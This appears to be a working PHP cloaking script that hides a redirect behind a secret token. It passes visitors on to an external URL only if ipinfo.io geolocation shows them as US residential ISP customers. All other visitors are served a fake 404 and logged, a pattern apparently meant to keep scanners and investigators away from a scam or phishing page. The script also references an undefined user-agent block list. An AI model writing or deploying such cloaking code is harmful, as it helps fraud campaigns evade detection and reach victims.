<?php
date_default_timezone_set("America/New_York");

/* =========================
   CONFIG
========================= */

$secret_token = "secure1234";
$FINAL_REDIRECT = "https://www.steptrea.com/277JWQTC/7GWLLQHR/";

$API_FILE = __DIR__ . "/api.txt";
$LOG_FILE = __DIR__ . "/ips.txt";
$RATE_DIR = __DIR__ . "/rate";

/* الشركات المسموحة فقط */
$allowed_keywords = [

    // Spectrum / Charter
    "Charter",
    "Spectrum",

    // Comcast / Xfinity
    "Comcast",
    "Xfinity",

    // Verizon
    "Verizon",
    "Verizon Business",

    // AT&T
    "AT&T",

    // T-Mobile
    "T-Mobile",

    // Cox
    "Cox",

    // Windstream
    "Windstream",

    // إضافات ISP حقيقية
    "Fidium",
    "Sonic",
    "Cablevision",
    "Midcontinent",
    "Buckeye",
    "CABLE ONE",
    "SRT Communications",
    "Hancock Rural",
    "Paul Bunyan",
    "Hargray",
    "Cincinnati Bell",
    "PenTeleData",
    "Point Broadband",
    "Summit Broadband",
    "RCN",
    "WOW",
    "WideOpenWest",
    "Wave Broadband",
    "TDS TELECOM",
    "West Carolina Communications",
    "CTS Communications",
    "Smithville",
    "Guadalupe Valley",
    "Kansas Fiber",
    "Premier Communications",
    "Brantley Telephone",
    "GENERAL COMMUNICATION",
    "Mikrotec",
    "Connect Northwest",

    // إضافات جديدة من اللوج
    "Google Fiber",
    "Unite Private Networks",
    "TCT West",
    "Panhandle Telecommunications",
    "BCI Mississippi Broadband"

];

/* =========================
   FUNCTIONS
========================= */

function block_as_404() {
    http_response_code(404);
    header("Content-Type: text/plain; charset=UTF-8");
    echo "Page not found";
    exit();
}

function redirect_to($url) {
    header("Location: {$url}", true, 302);
    exit();
}

function clean_text($text) {
    return trim(str_replace(["\r", "\n", "|"], " ", $text));
}

function load_api_keys($file) {
    if (!file_exists($file)) return [];
    return file($file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
}

function get_visitor_ip() {
    if (!empty($_SERVER["HTTP_CF_CONNECTING_IP"])) {
        return $_SERVER["HTTP_CF_CONNECTING_IP"];
    }

    if (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) {
        $parts = explode(",", $_SERVER["HTTP_X_FORWARDED_FOR"]);
        return trim($parts[0]);
    }

    return $_SERVER["REMOTE_ADDR"] ?? "0.0.0.0";
}

function is_valid_public_ip($ip) {
    return filter_var(
        $ip,
        FILTER_VALIDATE_IP,
        FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE
    );
}

function contains_keyword($text, $keywords) {
    foreach ($keywords as $keyword) {
        if (stripos($text, $keyword) !== false) {
            return true;
        }
    }
    return false;
}

function is_allowed_org($org, $allowed_keywords) {
    foreach ($allowed_keywords as $keyword) {
        if (stripos($org, $keyword) !== false) {
            return true;
        }
    }
    return false;
}

function rate_limit($ip, $dir, $limit = 30, $seconds = 60) {
    if (!is_dir($dir)) mkdir($dir, 0755, true);

    $file = $dir . "/" . md5($ip) . ".json";
    $now = time();

    if (file_exists($file)) {
        $data = json_decode(file_get_contents($file), true);
        if (!is_array($data)) {
            $data = ["time" => $now, "count" => 0];
        }
    } else {
        $data = ["time" => $now, "count" => 0];
    }

    if ($now - $data["time"] > $seconds) {
        $data = ["time" => $now, "count" => 1];
    } else {
        $data["count"]++;
    }

    file_put_contents($file, json_encode($data), LOCK_EX);

    return $data["count"] <= $limit;
}

function get_ip_info($ip, $api_file) {
    $api_keys = load_api_keys($api_file);
    if (empty($api_keys)) return null;

    foreach ($api_keys as $token) {
        $url = "https://ipinfo.io/" . urlencode($ip) . "/json?token=" . urlencode($token);

        $context = stream_context_create([
            "http" => [
                "timeout" => 5,
                "ignore_errors" => true
            ]
        ]);

        $response = @file_get_contents($url, false, $context);
        if ($response === false) continue;

        $data = json_decode($response, true);

        if (is_array($data) && !isset($data["error"])) {
            return $data;
        }
    }

    return null;
}

function log_visit($file, $ip, $country, $org, $ua, $status, $reason) {
    $line = "IP: {$ip} | Country: {$country} | ORG: {$org} | UA: {$ua} | Status: {$status} | Reason: {$reason} | Date: " . date("Y-m-d H:i:s") . PHP_EOL;
    file_put_contents($file, $line, FILE_APPEND | LOCK_EX);
}

/* =========================
   MAIN
========================= */

$ip = get_visitor_ip();
$ua = clean_text($_SERVER["HTTP_USER_AGENT"] ?? "");

/* Token */
if (!isset($_GET["access"]) || $_GET["access"] !== $secret_token) {
    log_visit($LOG_FILE, $ip, "UNKNOWN", "UNKNOWN", $ua, "BLOCKED", "Bad token");
    block_as_404();
}

/* UA */
if ($ua === "" || contains_keyword($ua, $blocked_user_agents)) {
    log_visit($LOG_FILE, $ip, "UNKNOWN", "UNKNOWN", $ua, "BLOCKED", "Bad UA");
    block_as_404();
}

/* IP */
if (!is_valid_public_ip($ip)) {
    log_visit($LOG_FILE, $ip, "UNKNOWN", "UNKNOWN", $ua, "BLOCKED", "Bad IP");
    block_as_404();
}

/* Rate */
if (!rate_limit($ip, $RATE_DIR, 30, 60)) {
    log_visit($LOG_FILE, $ip, "UNKNOWN", "UNKNOWN", $ua, "BLOCKED", "Rate limit");
    block_as_404();
}

/* IP Info */
$ip_info = get_ip_info($ip, $API_FILE);

if (!$ip_info) {
    log_visit($LOG_FILE, $ip, "UNKNOWN", "UNKNOWN", $ua, "BLOCKED", "No IP info");
    block_as_404();
}

$country = $ip_info["country"] ?? "UNKNOWN";
$org     = $ip_info["org"] ?? "UNKNOWN";

/* US Only */
if ($country !== "US") {
    log_visit($LOG_FILE, $ip, $country, $org, $ua, "BLOCKED", "Not US");
    block_as_404();
}

/* Allow list */
if (!is_allowed_org($org, $allowed_keywords)) {
    log_visit($LOG_FILE, $ip, $country, $org, $ua, "BLOCKED", "Not allowed ISP");
    block_as_404();
}

/* SUCCESS */
log_visit($LOG_FILE, $ip, $country, $org, $ua, "ALLOWED", "Clean allowed ISP");
redirect_to($FINAL_REDIRECT);

?>